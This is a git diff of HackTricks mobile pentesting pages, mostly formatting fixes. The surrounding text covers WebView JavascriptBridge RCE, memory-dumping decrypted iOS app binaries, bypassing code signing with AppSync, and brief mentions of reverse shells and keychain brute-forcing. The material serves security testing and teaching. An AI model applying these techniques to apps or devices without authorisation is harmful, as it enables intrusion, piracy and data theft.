in [**this research **](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_)** **once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one: +As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) **** once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one: ```markup @@ -127,7 +127,7 @@ In that scenario, you won't be able to abuse Reflection to execute arbitrary cod ![](<../../.gitbook/assets/image (525).png>) -Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS **code from the **console** tab: +Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab: ![](<../../.gitbook/assets/image (526).png>) diff --git a/mobile-apps-pentesting/android-checklist.md b/mobile-apps-pentesting/android-checklist.md index 0d9703f9..3bbc33e3 100644 --- a/mobile-apps-pentesting/android-checklist.md +++ b/mobile-apps-pentesting/android-checklist.md @@ -2,11 +2,11 @@ {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) @@ -64,8 +64,8 @@ If you want to **share some tricks with the community** you can also submit **pu -If you want to **know **about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**,** **join the [💬](https://emojipedia.org/speech-balloon/)** **[**PEASS & HackTricks telegram group here**](https://t.me/peass), or** follow me on Twitter **[🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -****If you want to** share some tricks with the community **you can also submit **pull requests **to** **[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks)** **that will be reflected in this book.\ +If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **** join the [💬](https://emojipedia.org/speech-balloon/) **** [**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +****If you want to **share some tricks with the community** you can also submit **pull requests** to **** [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) **** that will be reflected in this book.\ Don't forget to **give ⭐ on the github** to motivate me to continue developing this book. ![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (5).png>) diff --git a/mobile-apps-pentesting/ios-pentesting-checklist.md b/mobile-apps-pentesting/ios-pentesting-checklist.md index 497e2f4b..768c07d5 100644 --- a/mobile-apps-pentesting/ios-pentesting-checklist.md +++ b/mobile-apps-pentesting/ios-pentesting-checklist.md @@ -2,17 +2,17 @@ {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ### Preparation * [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md)**** -* [ ] Prepare your environment reading** **[**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)**** -* [ ] Read all the sections of** **[**iOS Initial Analysis**](ios-pentesting/#initial-analysis)** **to learn common actions to pentest an iOS application +* [ ] Prepare your environment reading **** [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)**** +* [ ] Read all the sections of **** [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) **** to learn common actions to pentest an iOS application ### Data Storage @@ -62,15 +62,15 @@ If you want to **share some tricks with the community** you can also submit **pu * ****[**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)**** * [ ] Check if the application is **registering any protocol/scheme** - * [ ] Check if the application is **registering to use **any protocol/scheme + * [ ] Check if the application is **registering to use** any protocol/scheme * [ ] Check if the application **expects to receive any kind of sensitive information** from the custom scheme that can be **intercepted** by the another application registering the same scheme * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** - * [ ] Check if the application **exposes any sensitive action **that can be called from anywhere via the custom scheme + * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme * ****[**Universal Links**](ios-pentesting/#universal-links)**** * [ ] Check if the application is **registering any universal protocol/scheme** - * [ ] Check the** `apple-app-site-association` **file + * [ ] Check the ** `apple-app-site-association` ** file * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** - * [ ] Check if the application **exposes any sensitive action **that can be called from anywhere via the custom scheme + * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme * ****[**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)**** * [ ] Check if the application can receive UIActivities and if it's possible to exploit any vulnerability with specially crafted activity * ****[**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)**** diff --git a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md b/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md index 88efe667..9e467e0a 100644 --- a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -6,7 +6,7 @@ Perform this actions having **connected** the device to the computer via **USB** and having the **device** **unlocked**. {% endhint %} -The UDID is a 40-digit unique sequence of letters and numbers to identify an iOS device. You can find the UDID of your iOS device on macOS Catalina onwards in the **Finder app**, as iTunes is not available anymore in Catalina. Just select the connected iOS device in Finder and** click on the information under the name of the iOS** device to iterate through it. Besides the UDID, you can find the serial number, IMEI and other useful information. +The UDID is a 40-digit unique sequence of letters and numbers to identify an iOS device. You can find the UDID of your iOS device on macOS Catalina onwards in the **Finder app**, as iTunes is not available anymore in Catalina. Just select the connected iOS device in Finder and **click on the information under the name of the iOS** device to iterate through it. Besides the UDID, you can find the serial number, IMEI and other useful information. ![](<../../.gitbook/assets/image (471).png>) @@ -27,7 +27,7 @@ It is also possible to get the UDID via various command line tools on macOS whil $ idevice_id -l 316f01bd160932d2bf2f95f1f142bc29b1c62dbc ``` -* By using the system_profiler: +* By using the system\_profiler: ```bash $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:" @@ -75,7 +75,7 @@ $ iproxy 2222 22 waiting for connection ``` -The above command maps port `22` on the iOS device to port `2222` on localhost. You can also [make iproxy run automatically in the background](https://iphonedevwiki.net/index.php/SSH_Over_USB) if you don't want to run the binary every time you want to SSH over USB. +The above command maps port `22` on the iOS device to port `2222` on localhost. You can also [make iproxy run automatically in the background](https://iphonedevwiki.net/index.php/SSH\_Over\_USB) if you don't want to run the binary every time you want to SSH over USB. With the following command in a new terminal window, you can connect to the device: @@ -89,7 +89,7 @@ iPhone:~ root# ### On-device Shell App -While usually using an **on-device shell **(terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing). +While usually using an **on-device shell** (terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing). In addition, there are a few jailbreaks that explicitly disable incoming SSH _for security reasons_. In those cases, it is very convenient to have an on-device shell app, which you can use to first SSH out of the device with a reverse shell, and then connect from your host computer to it. @@ -139,7 +139,7 @@ $ scp -P 2222 root@localhost:/tmp/data.tgz . Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexplorer). {% hint style="info" %} -Starting in iOS version 8.4, Apple has** restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken. +Starting in iOS version 8.4, Apple has **restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken. {% endhint %} ### Using Objection @@ -206,7 +206,7 @@ Save the IPA file locally with the following command: ### Decryption (Manual) Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled.\ -When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using **[**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks. +When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks. However, note that there are other **third party software that can be used to obfuscate** the resulting binaries. @@ -222,7 +222,7 @@ Mach header MH_MAGIC_64 X86_64 ALL 0x00 EXECUTE 47 6080 NOUNDEFS DYLDLINK TWOLEVEL PIE ``` -If it's set you can use the script [`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change_mach_o_flags.py) to remove it with python2: +If it's set you can use the script [`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py) to remove it with python2: ```bash python change_mach_o_flags.py --no-pie Original_App @@ -255,7 +255,7 @@ otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO The value of **`cryptoff`** indicated the starting address of the encrypted content and the **`cryptsize`** indicates the size of the encrypted content. So, the `start address` to dump will be `vmaddr + cryptoff` and the `end address` will be the `start address + cryptsize`\ -In this case: `start_address = 0x4000 + 0x4000 = 0x8000`_ _and `end_address = 0x8000 + 0x109c000 = 0x10a4000` +In this case: `start_address = 0x4000 + 0x4000 = 0x8000` __ and `end_address = 0x8000 + 0x109c000 = 0x10a4000` With this information it's just necessary to run the application in the jailbroken device, attach to the process with gdb (`gdb -p `) and dump the memory: @@ -319,7 +319,7 @@ After this, the `Telegram.ipa` file will be created in your current directory. Y #### flexdecrypt -In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt)** **or a wrapper of the tool called** **[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\ +In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) **** or a wrapper of the tool called **** [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\ ****In any case you will need to **install flexdecrypt in the device** running something like: ```markup @@ -345,7 +345,7 @@ See the **github** for more information. ## Installing Apps -When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with **[**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages. +When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages. Different methods exist for installing an IPA package onto an iOS device, which are described in detail below. @@ -433,4 +433,4 @@ It is important to note that changing this value will break the original signatu This bypass might not work if the application requires capabilities that are specific to modern iPads while your iPhone or iPod is a bit older. -Possible values for the property [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/uid/TP40009252-SW11) can be found in the Apple Developer documentation. +Possible values for the property [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/uid/TP40009252-SW11) can be found in the Apple Developer documentation. diff --git a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md index 8ec6abb7..b8301d86 100644 --- a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,7 +2,7 @@ ## Burp Cert Installation in physical iOS -You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)** for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.**\ +You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.**\ ****Or you can manually follow the next steps: * Configure **Burp** as the iPhone **proxy in **_**Settings**_** --> **_**Wifi**_** --> **_**Click the network**_** --> **_**Proxy**_ @@ -33,7 +33,7 @@ The next step is to make a remote port forwarding of port 8080 on the iOS device ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -You should now be able to reach Burp on your iOS device. Open Safari on iOS and go to **127.0.0.1:8080 **and you should see the Burp Suite Page. This would also be a good time to [install the CA certificate](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) of Burp on your iOS device. +You should now be able to reach Burp on your iOS device. Open Safari on iOS and go to **127.0.0.1:8080** and you should see the Burp Suite Page. This would also be a good time to [install the CA certificate](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) of Burp on your iOS device. The last step would be to set the proxy globally on your iOS device: @@ -92,7 +92,7 @@ In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for Steps to configure Burp as proxy: -* Go to _System Preferences _--> _Network_ --> _Advanced_ +* Go to _System Preferences_ --> _Network_ --> _Advanced_ * In _Proxies_ tab mark _Web Proxy (HTTP)_ and _Secure Web Proxy (HTTPS)_ * In both options configure _127.0.0.1:8080_ diff --git a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index 528942b8..0a9730a5 100644 --- a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -1,6 +1,6 @@ # Extracting Entitlements From Compiled Application -**Page copied form **[**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)**** +**Page copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)**** If you only have the app's IPA or simply the installed app on a jailbroken device, you normally won't be able to find `.entitlements` files. This could be also the case for the `embedded.mobileprovision` file. Still, you should be able to extract the entitlements property lists from the app binary yourself (which you've previously obtained as explained in the "iOS Basic Security Testing" chapter, section "Acquiring the App Binary"). diff --git a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md index 88ff2b06..8cd7f26e 100644 --- a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -2,8 +2,8 @@ ## Installing Frida -Go to **Cydia** app and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add **and enter [**https://build.frida.re **](https://build.frida.re). It will add a new source in the source list. Go to the **frida** **source**, now you should **install** the **Frida** package. +Go to **Cydia** app and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add** and enter [**https://build.frida.re** ](https://build.frida.re). It will add a new source in the source list. Go to the **frida** **source**, now you should **install** the **Frida** package. -![](https://miro.medium.com/max/614/0\*qSD26kBtgt_UIZk1.png) +![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png) After installed, you can use in your PC the command `frida-ls-devices` and check that the device appears (your PC needs to be able to access it). diff --git a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md b/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md index be3a11c4..9b6b20da 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md @@ -1,6 +1,6 @@ # iOS App Extensions -**Content copied form **[**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)**** +**Content copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)**** App extensions let apps offer custom functionality and content to users while they’re interacting with other apps or the system. Some notable ones are: @@ -8,9 +8,9 @@ App extensions let apps offer custom functionality and content to users while th * **Share**: post to a sharing website or share content with others. * **Today**: also called **widgets**, they offer content or perform quick tasks in the Today view of Notification Center. -For example, the user selects text in the _host app_, clicks on the "Share" button and selects one "app" or action from the list. This triggers the _app extension_ of the _containing app_. The app extension displays its view within the context of the host app and uses the items provided by the host app, the selected text in this case, to perform a specific task (post it on a social network, for example). See this picture from the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13) which pretty good summarizes this: +For example, the user selects text in the _host app_, clicks on the "Share" button and selects one "app" or action from the list. This triggers the _app extension_ of the _containing app_. The app extension displays its view within the context of the host app and uses the items provided by the host app, the selected text in this case, to perform a specific task (post it on a social network, for example). See this picture from the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13) which pretty good summarizes this: -![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media) +![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media) ### **Security Considerations** @@ -88,11 +88,11 @@ Inspect the app extension's `Info.plist` file and search for `NSExtensionActivat ``` -Only the data types present here and not having `0` as `MaxCount` will be supported. However, more complex filtering is possible by using a so-called predicate string that will evaluate the UTIs given. Please refer to the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8) for more detailed information about this. +Only the data types present here and not having `0` as `MaxCount` will be supported. However, more complex filtering is possible by using a so-called predicate string that will evaluate the UTIs given. Please refer to the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW8) for more detailed information about this. **Checking Data Sharing with the Containing App** -Remember that app extensions and their containing apps do not have direct access to each other’s containers. However, data sharing can be enabled. This is done via ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19) and the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API. See this figure from [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11): +Remember that app extensions and their containing apps do not have direct access to each other’s containers. However, data sharing can be enabled. This is done via ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) and the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API. See this figure from [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11): ![](broken-reference) diff --git a/mobile-apps-pentesting/ios-pentesting/ios-basics.md b/mobile-apps-pentesting/ios-pentesting/ios-basics.md index 1d8dd41c..6b4edf33 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-basics.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-basics.md @@ -12,15 +12,15 @@ Once installed, applications have limited read access to some system areas and f ## Data Protection -App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control **for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** (SEP). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID **(Unique ID)-is** embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised. +App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control** for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** (SEP). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID** (Unique ID)-is **embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised. -When a **file is created** on the disk, a new **256-bit AES key is generated **with the help of secure enclave's hardware based random number generator. The **content of the file is then encrypted with the generated key**. And then, this **key is saved encrypted with a class key** along with **the class ID, **with** both data encrypted by the system's key, **inside the **metadata** of the file. +When a **file is created** on the disk, a new **256-bit AES key is generated** with the help of secure enclave's hardware based random number generator. The **content of the file is then encrypted with the generated key**. And then, this **key is saved encrypted with a class key** along with **the class ID,** with **both data encrypted by the system's key,** inside the **metadata** of the file. ![](<../../.gitbook/assets/image (473).png>) For decrypting the file, the **metadata is decrypted using the system's key**. Then u**sing the class ID** the **class key is retrieved** **to decrypt the per-file key and decrypt the file.** -Files can be assigned to one of **four** **different** **protection** classes, which are explained in more detail in the [iOS Security Guide](https://www.apple.com/business/docs/iOS_Security_Guide.pdf): +Files can be assigned to one of **four** **different** **protection** classes, which are explained in more detail in the [iOS Security Guide](https://www.apple.com/business/docs/iOS\_Security\_Guide.pdf): * **Complete Protection (NSFileProtectionComplete)**: A key derived from the user passcode and the device UID protects this class key. The derived key is wiped from memory shortly after the device is locked, making the data inaccessible until the user unlocks the device. * **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: This protection class is similar to Complete Protection, but, if the file is opened when unlocked, the app can continue to access the file even if the user locks the device. This protection class is used when, for example, a mail attachment is downloading in the background. @@ -49,7 +49,7 @@ The [Keychain API](https://developer.apple.com/library/content/documentation/Sec The only ways to try to BF this password is dumping the encrypted key and BF the passcode + salt (the **pbkdf2** function uses **at least 10000 iteration**s). Or trying to **BF inside the device** to avoids BFing the salt, however, secure enclave ensures there is at least a **5s delay between 2 failed password attempts**. -You can configure **data protection for Keychain items** by setting the `kSecAttrAccessible` key in the call to `SecItemAdd` or `SecItemUpdate`.The following configurable [accessibility values for kSecAttrAccessible](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) are the Keychain Data Protection classes: +You can configure **data protection for Keychain items** by setting the `kSecAttrAccessible` key in the call to `SecItemAdd` or `SecItemUpdate`.The following configurable [accessibility values for kSecAttrAccessible](https://developer.apple.com/documentation/security/keychain\_services/keychain\_items/item\_attribute\_keys\_and\_values#1679100) are the Keychain Data Protection classes: * **`kSecAttrAccessibleAlways`**: The data in the Keychain item can **always be accessed**, regardless of whether the device is locked. * **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: The data in the Keychain item can **always** **be** **accessed**, regardless of whether the device is locked. The data **won't be included in an iCloud** or local backup. @@ -57,7 +57,7 @@ You can configure **data protection for Keychain items** by setting the `kSecAtt * **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: The data in the Keychain item can't be accessed after a restart until the **device has been unlocked once** by the user. Items with this attribute do **not migrate to a new device**. Thus, after restoring from a backup of a different device, these items will not be present. * **`kSecAttrAccessibleWhenUnlocked`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. * **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. The data **won't be included in an iCloud or local backup**. -* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: The data in the Keychain can be accessed **only when the device is unlocked**. This protection class is **only available if a passcode is set **on the device. The data w**on't be included in an iCloud or local backup**. +* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: The data in the Keychain can be accessed **only when the device is unlocked**. This protection class is **only available if a passcode is set** on the device. The data w**on't be included in an iCloud or local backup**. **`AccessControlFlags`** define the mechanisms with which users can authenticate the key (`SecAccessControlCreateFlags`): @@ -106,9 +106,9 @@ if userDefaults.bool(forKey: "hasRunBefore") == false { Some [**capabilities/permissions**](https://help.apple.com/developer-account/#/dev21218dfd6) can be configured by the app's developers (e.g. Data Protection or Keychain Sharing) and will directly take effect after the installation. However, for others, **the user will be explicitly asked the first time the app attempts to access a protected resource**. -[_Purpose strings_](https://developer.apple.com/documentation/uikit/core_app/protecting_the_user_s_privacy/accessing_protected_resources?language=objc#3037322) or _usage description strings_ are custom texts that are offered to users in the system's permission request alert when requesting permission to access protected data or resources. +[_Purpose strings_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322) or _usage description strings_ are custom texts that are offered to users in the system's permission request alert when requesting permission to access protected data or resources. 